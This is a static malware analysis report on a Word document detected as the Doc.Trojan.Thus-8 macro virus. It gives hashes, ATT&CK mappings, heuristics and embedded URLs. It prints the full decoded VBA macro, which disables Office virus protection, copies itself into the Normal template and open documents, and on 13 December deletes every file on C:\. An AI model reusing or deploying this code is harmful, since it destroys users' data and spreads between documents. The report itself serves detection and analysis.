Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f06bfbea83ab87d2…

MALICIOUS

Office (OLE)

83.0 KB Created: 2007-10-22 01:10:00 Authoring application: Microsoft Word 11.2 First seen: 2014-09-26
MD5: 60aece4cfeb34ae3c97ef5c6e6b37c4d SHA-1: 9c6afb6b5d7b9befe0c4521175469bc22d62f6c3 SHA-256: f06bfbea83ab87d2a4c6a8d002bec27ccd0bcc192054c3da944cab1c63fb370b
210 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1553.005 Security Software Installation

The sample contains VBA macros that execute upon opening the document, disabling macro security and attempting to replicate the malicious code to other documents. The document body contains embedded URLs and instructions to visit a website, likely as a lure. The VBA script's self-replication and disabling of security features are key indicators of malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ancientgreece.com/images/titlesm.gif In document text (OLE body)
    • http://www.ancientgreece.com/images/greece_line.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/art_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/art2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/geography_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/geography2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/history_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/history2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/images/ancientgreece.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/mythology_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/odyseusz2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/olympics_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/olympics2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/people_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/people2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/wars_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/wars2.gifIn document text (OLE body)
    • http://www.ancientgreece.com/html/other_frame.htmIn document text (OLE body)
    • http://www.ancientgreece.com/buttons/other2.gifIn document text (OLE body)
    • http://www.teacherweb.comIn document text (OLE body)
    • http://www.ancientgreece.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2349 bytes
SHA-256: 148463b71af2433c061c528c6bb7ae214dfa6ef6dc4d157d2709c1351df19400
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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